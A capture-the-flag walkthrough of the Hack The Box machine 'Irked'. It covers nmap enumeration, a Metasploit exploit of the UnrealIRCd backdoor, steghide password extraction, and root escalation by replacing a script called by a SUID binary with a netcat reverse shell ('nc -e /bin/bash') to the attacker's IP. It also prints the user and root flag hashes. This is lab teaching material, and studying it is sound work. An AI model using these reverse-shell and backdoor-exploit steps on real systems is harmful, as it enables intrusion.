Irked:

IP of IRKED : 10.10.10.117

First Lets scan Our Target with nmap

```
root@kali:~# nmap -p- 10.10.10.117
Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-23 11:08 IST
Nmap scan report for 10.10.10.117
Host is up (0.15s latency).
Not shown: 65528 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
111/tcp   open  rpcbind
6697/tcp  open  ircs-u
8067/tcp  open  infi-async
53156/tcp open  unknown
65534/tcp open  unknown
```

Start Discovery for these ports One by One,
by port 6697/TCP : Got these results

```
root@kali:~# nmap -A -p6697 10.10.10.117
Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-24 08:48 IST
Nmap scan report for 10.10.10.117
Host is up (0.14s latency).

PORT     STATE SERVICE VERSION
6697/tcp open  irc     UnrealIRCd
Warning: OSScan results may be unreliable because we could not find at least 1 o
pen and 1 closed port
Aggressive OS guesses: ASUS RT-N56U WAP (Linux 3.4) (95%), Linux 3.16 (95%), Lin
ux 3.5 (94%), Linux 3.8 (94%), Linux 3.1 (93%), Linux 3.2 (93%), AXIS 210A or 21
1 Network Camera (Linux 2.6.17) (92%), Sony Android TV (Android 5.0) (92%), Andr
oid 5.0 - 6.0.1 (Linux 3.4) (92%), Android 5.1 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: irked.htb

TRACEROUTE (using port 6697/tcp)
HOP RTT       ADDRESS
1   136.38 ms 10.10.12.1
2   136.78 ms 10.10.10.117
```

Service: irc Version: unrealIRCd

search exploit for UnrealIRCd
command: searchsploit unrealircd

```
root@kali:~# searchsploit unrealircd
----------------------------------------------------------------------
 Exploit Title
----------------------------------------------------------------------
UnrealIRCd 3.2.8.1 - Backdoor Command Execution (Metasploit)
UnrealIRCd 3.2.8.1 - Local Configuration Stack Overflow
UnrealIRCd 3.2.8.1 - Remote Downloader/Execute
UnrealIRCd 3.x - Remote Denial of Service
----------------------------------------------------------------------
```

Exploit Available in Metasploit
Open MsfConsole
search Unrealircd
use exploit
set RHOST (Target IP) and RPORT (6697 irc Service)
exploit

Command shell session opened

```
[*] Started reverse TCP double handler on 10.10.12.14:4444
[*] 10.10.10.117:6697 - Connected to 10.10.10.117:6697...
    :irked.htb NOTICE AUTH :*** Looking up your hostname...
[*] 10.10.10.117:6697 - Sending backdoor command...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo gTcFbdfQ7odN2UkM;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "gTcFbdfQ7odN2UkM\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 1 opened (10.10.12.14:4444 -> 10.10.10.117:42584)
018-12-24 09:14:50 +0530
```

Get Full Bash , command: python3 -c ‘import pty;pty.spawn(“/bin/bash”)’

Find User.txt

```
ircd@irked:/home/djmardov/Documents$ cat user.txt
cat user.txt
cat: user.txt: Permission denied
ircd@irked:/home/djmardov/Documents$
```

cat user.txt……. Permission denied,need to escalate

/home /ircd. ls-la, found bash_history
cat .bash_history
.backup is intresting here
/home /djmardov , ls-la, found .backup
cat .backup(Super elite steg backup pw) here it says backup password and steg show steganography

search target IP on google , an Image appears Download it
apt-get install steghide , then extract the data of the picture
command: steghide extract -sf irked.jpg
wrote extracted to "pass.txt" , cat pass.txt and there is password for USER
now go back to machine ,switch user to get permissions
command: su djmardov , paste the password

```
djmardov@irked:~/Documents$ cat user.txt
cat user.txt
4a66a78b12dc0e661a59d3f5c0267a8e
djmardov@irked:~/Documents$
```

Got the Flag,

Time For ROOT

Find All SUID Binary

```
djmardov@irked:/$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/spice-gtk/spice-client-glib-usb-acl-helper
/usr/sbin/exim4
/usr/sbin/pppd
/usr/bin/chsh
/usr/bin/procmail
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/at
/usr/bin/pkexec
/usr/bin/X
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/viewuser
/sbin/mount.nfs
/tmp/.asd/shell
/bin/su
/bin/mount
/bin/fusermount
/bin/ntfs-3g
/bin/umount
djmardov@irked:/$
```

you'll find Viewuser, Go to usr/bin and execute viewuser

```
djmardov@irked:/usr/bin$ viewuser
viewuser
This application is being devleoped to set and test user permissions
It is still being actively developed
(unknown) :0           2018-12-23 23:17 (:0)
djmardov pts/0        2018-12-23 23:19 (10.10.15.122)
djmardov pts/1        2018-12-23 23:19 (10.10.13.127)
djmardov pts/4        2018-12-23 23:21 (10.10.14.121)
djmardov pts/5        2018-12-23 23:22 (10.10.13.23)
djmardov pts/8        2018-12-23 23:24 (10.10.13.136)
djmardov pts/9        2018-12-23 23:25 (10.10.16.27)
sh: 1: /tmp/listusers: Permission denied
djmardov@irked:/usr/bin$
```

so we know viewuser use listusers
Go /tmp

```
djmardov@irked:/tmp$ ls
ls
ch.py
listusers
ntfs_sploit.4R7gUK
pwbvqme
systemd-private-6c6ebb068c2c414b99fc3bb214288616-colord.service-Qc9Ig0
systemd-private-6c6ebb068c2c414b99fc3bb214288616-cups.service-ahLLjq
systemd-private-6c6ebb068c2c414b99fc3bb214288616-rtkit-daemon.service-Er2jZp
vmware-root
djmardov@irked:/tmp$
```

(Saw listusers…… Replace it with ReverseShell)
rm listusers
make ReverseShell

```
djmardov@irked:/tmp$ rm listusers
rm listusers
djmardov@irked:/tmp$ echo 'whoami
echo 'whoami
> nc -e /bin/bash 10.10.12.14 6666 ' > listusers
nc -e /bin/bash 10.10.12.14 6666 ' > listusers
djmardov@irked:/tmp$
```

Open New Terminal and start Listner

```
root@kali:~# nc -nvlp 6666
listening on [any] 6666 ...
```

return to box
(Give Permissions)
chmod +x listusers

Run ./viewuser

```
djmardov@irked:/usr/bin$ ./viewuser
./viewuser
This application is being devleoped to set and test user permissions
It is still being actively developed
(unknown) :0           2018-12-23 23:38 (:0)
djmardov pts/0        2018-12-23 23:39 (10.10.14.121)
djmardov pts/1        2018-12-23 23:39 (10.10.13.127)
djmardov pts/5        2018-12-23 23:43 (10.10.13.23)
djmardov pts/7        2018-12-23 23:47 (10.10.12.66)
djmardov pts/9        2018-12-23 23:50 (10.10.13.142)
djmardov pts/12       2018-12-23 23:53 (10.10.13.136)
root
```

Now Check Listner , you will Get Connection and You are in root find root.txt

```
cd /root
ls
pass.txt
root.txt
cat root.txt
8d8e9e8be64654b6dccc3bff4522daf3
```